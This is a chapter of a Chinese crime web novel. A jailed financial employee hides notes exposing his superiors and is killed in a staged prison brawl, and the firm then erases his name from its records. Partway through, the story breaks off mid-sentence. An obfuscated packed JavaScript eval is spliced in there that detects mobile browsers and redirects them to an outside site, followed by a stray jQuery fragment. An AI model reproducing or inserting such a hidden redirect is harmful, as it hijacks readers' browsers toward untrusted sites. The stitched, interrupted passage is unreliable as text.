上午十点五十，监区。
点名刚过，走道里还留着鞋底拖地的轻响。白墙、铁床、洗脸盆、叠得过分整齐的被角，全像已经把人按进一套固定尺寸里。
郭河一夜没睡。
昨晚那句“明天他就不用写了”，像根细针，一直扎在后脑。他早上起来先没动，先看床边那双鞋。鞋尖正对着自己，摆得很正，正得像他还能自己把什么事重新摆回原位。
他弯腰，手指摸进鞋垫下面。
那几张折得发硬的纸还在。
他这才慢慢把气吐出去，吐得很轻，像怕被人听见自己还不肯死心。
中午前放风回来，他借上厕所的空当，把那几张纸重新摊到膝上。纸边已经被汗浸软了，字也有些糊。他把那支短得快捏不住的笔芯咬在齿间，低头继续补。
张兰就是龙兰。
郭凯来见过我。
郭河案签批不止市场部。
几组关键尾号被他一笔一笔压下去，压得很重，像怕自己一旦松手，这些东西就全没了。
他写到最后一行，笔芯断了一下，划出一道极短的黑痕。郭河盯着那道断线，眼皮轻轻跳了跳，又很快接着往下补。
他心里很清楚，自己不干净。
项目他碰过，字他签过，客户他哄过，那些高得离谱的收益承诺，他不是没说过。
可越是这样，他越不认自己就该一个人死得这么整齐。
他把纸吹了吹，重新一折再折，塞回鞋垫底下，又用脚跟慢慢压实。压完以后，他盯着那双鞋看了好几秒，喉结动了一下，低声挤出一句。
“再熬一晚。”
说完，他推门出去。
门外洗手池前，有人正低头搓手。那人没看他，却把身子侧开半寸，给他让了条路。
太客气了。
客气得反而像在给死人留最后一点体面。
下午四点，龙腾金融。
前台电话还在响，打印机也还在吐纸。公司没有因为一个人在里面要不要活下来而停半分钟。越正常，越像这套地方本来就习惯把人碾进流程里，再把流程擦干净。
财务办公室里，郭凯把一页旧项目交接单推给助理。
“这批重新编号。”他说。
助理低头翻了翻：“原负责人的名字还留吗？”
郭凯看着屏幕，语气平得没有起伏：“旧项目只留编号，别留人名。”
助理应了声，抱着文件出去。
郭凯没立刻动，手指在桌边轻轻敲了两下，像在给什么事计时。桌上那几份财务口径修订、历史合同替换、补充流转单，排得很整。整得像郭河从来不是一个人，只是一串等着被改写的字段。
另一边，城北短租公寓。
窗帘拉死，灯开得很白。龙兰坐在桌前，面前摊着的是尾号、路径、手写节点、旧手机和一只已经拆开的U盘。
她没有碰最下面压着“郭河”的那张窄纸。
先碰的是黄晶线。
再碰桐桐线。
然后把昨晚拆开的那组核心路径重新分仓，分别塞进不同目录、不同压缩包、不同备注里。动作很稳，像在处理仓库里的货，不像在想一个人今晚会不会死。
手机黑着。
没有再响。
她知道，那边既然说了“会有人打招呼”，自己现在越不问，越像没伸手。
桌角有一张便签，被她压在最底层塑料垫下面。上面只写了几个很短的字。
活口。
会反咬。
可处理。
她看见了，没抽出来，只把旁边一只订书机挪过去，压得更实。
外面天色一点点暗下去。
屋里只有键盘声、保存提示音，和她越来越平的呼吸。
郭河还活着的时候，是旧情，是活口，是风险。
这些词她已经分好了顺序。
现在只等外面的人替她把最后一步走完。
夜里十一点四十，监区。
灯暗了一档，白墙还是照得人睡不实。床板时不时响一下，像每个人翻身都在偷偷换位置。
郭河平躺着，眼睛没闭。
鞋还摆在床边。
里面那几张纸也还在。
这个“还在”，撑住了他一整天。他甚至已经在脑子里排好，下一次要是还有机会说话，先提哪组尾号，后提哪句身份，再把张兰那层皮往上抬一点，怎么抬，能更值钱。
他不再幻想谁来捞。
他现在只信自己嘴里剩下的东西。
过了很久，斜对面有人起身去厕所，拖鞋擦着地面过去。又有人翻身骂了一句，像睡得不耐烦。监区里的夜，本来就什么杂声都有。
可今晚的杂声，越听越像被人故意放得刚刚好。
郭河手掌在被子里慢慢握紧，指甲掐进肉里，没敢动鞋。
下一秒，走道里猛地撞出一声闷响。
有人低骂。
有人起身。
床板、铁盆、拖鞋声一下乱了。
郭河本能地翻身下床，第一反应不是躲，是扑向那双鞋。他刚弯下腰，一只脚从旁边横过来，鞋被带翻，鞋垫滑开，里面那团折得发硬的纸掉了出来。
他伸手去抓。
手还没碰到，旁边洗漱盆被撞翻，半盆脏水混着牙膏沫冲过来，瞬间漫过纸页。
墨迹一下散开。
像有人把他最后那点还没送出去的话，硬按进污水里揉烂。
郭河眼睛陡然睁大，半跪在地上，手指还死死往前够。
人影压过来。
床脚撞到小腿。
有人从背后把他往下摁。
整个过程不长，也没人喊得特别响。乱哄哄的动静把什么都盖住了，只剩地上那团越来越黑、越来越糊的纸，和他鞋边被踩歪的鞋尖。
郭河喉咙里滚出一声很短的闷气。
不是惨叫。
更像终于知道自己这次真来不及了。
走道尽头的灯仍旧白着。
监控壳也还亮着。
一切都像只是监区夜里一次再普通不过的突发冲突。
第二天上午九点，龙腾金融二十五层。
董事办照常开工，送签、来电、打印、咖啡，谁的脚步都没停。越照常，越显得一条人命在这套系统里连一个明显停顿都换不来。
女主管接了一通电话，脸色极轻地变了一下，随即把门带上，快步进了龙岩办公室。
不到三分钟，她出来时已经把表情收干净，只低声通知行政：“今天起，旧项目相关口径一律按统一编号走。别在外面提以前的经手人。”
郭凯从财务电梯口过来，正好听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554609|204417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见最后一句。
“出结果了？”他问。
女主管点了下头，声音压得很低：“监区那边说，夜里突发冲突，人没抢回来。”
郭凯没接“可惜”之类的话。
他只把手里那份待签单翻到最后一页，看了眼原责任人那一栏，伸手抽出钢笔，在边上批了一行很短的字。
责任人字段作废。
重新编码。
他写完，把钢笔帽扣上，推回去：“按龙总意思办。无关人员不许讨论。”
里面办公室门开了。
龙岩没出来，只在门内淡淡落下一句：“别让这件事挂在公司头上。”
没有问具体细节。
也没有问人死前说没说出什么。
像死掉的不是一个知道不少事的人，只是一个终于能被从流程里删掉的麻烦项。
外厅没人抬头。
只有纸页翻动和空调风。
龙兰坐在最外侧工位，手里那支笔从头到尾没停。她像什么都没听见，又像每个字都听得太清楚。桌下脚尖很轻地往回收了一下，随即恢复原位。
她没有问。
也没有露出任何该属于“旧情”的表情。
只是把面前那份普通会议纪要继续往下补完整。
补到最后一行时，她停了一秒。
又立刻接着写下去。
中午一点十五，城北短租公寓。
桌上白灯开着，窗帘拉死。龙兰把电脑打开，点进那个藏得最深的文件夹。文件夹名是一串像发票编号的数字，里面分着几层：黄晶、桐桐、夜转、上层，还有一页仍没完全处理干净的旧项目备注。
她把那页点开。
光标停在最上面那个名字上。
郭河。
手指悬了两秒，才慢慢落下去。
她没有一下删掉整行。
先删“郭”。
再删“河”。
像不是在抹一个人，是在一笔一笔撤掉某种已经不该留下的手写痕迹。
名字消失后，那一行空了一小块。
她重新输入四个字：
旧项目责任人。
打完以后，她盯着看了很久，眼睛里一点水气都没有，只有长时间不眨后那种发硬的干。
桌角手机亮了一下，是郭凯发来的简讯。
只有一句。
现在没人能从里面叫你的名字了。
龙兰看完，没有立刻回。
她先把那页备注保存、加密、归档。做完这些，才重新拿起手机，在对话框里慢慢打下几个字。
那就轮到外面的人闭嘴了。
她没有删改。
直接发了出去。
发完后，手机被她扣在桌面上，发出一声很轻的响。
屋里重新安静下来。
她坐着没动，手掌压在桌边，指节一点点泛白。
郭河死了。
旧情没了。
活口也没了。
可事情没有结束，反而更像刚刚进入另一层真正该收口的时候。
灯照着桌面上那几张还没完全分完层的纸，照着“旧项目责任人”那一行新字，也照着她越来越冷的一张脸。
她现在终于彻底学会了。
人，也可以像证据一样，被拆、被改名、被归档。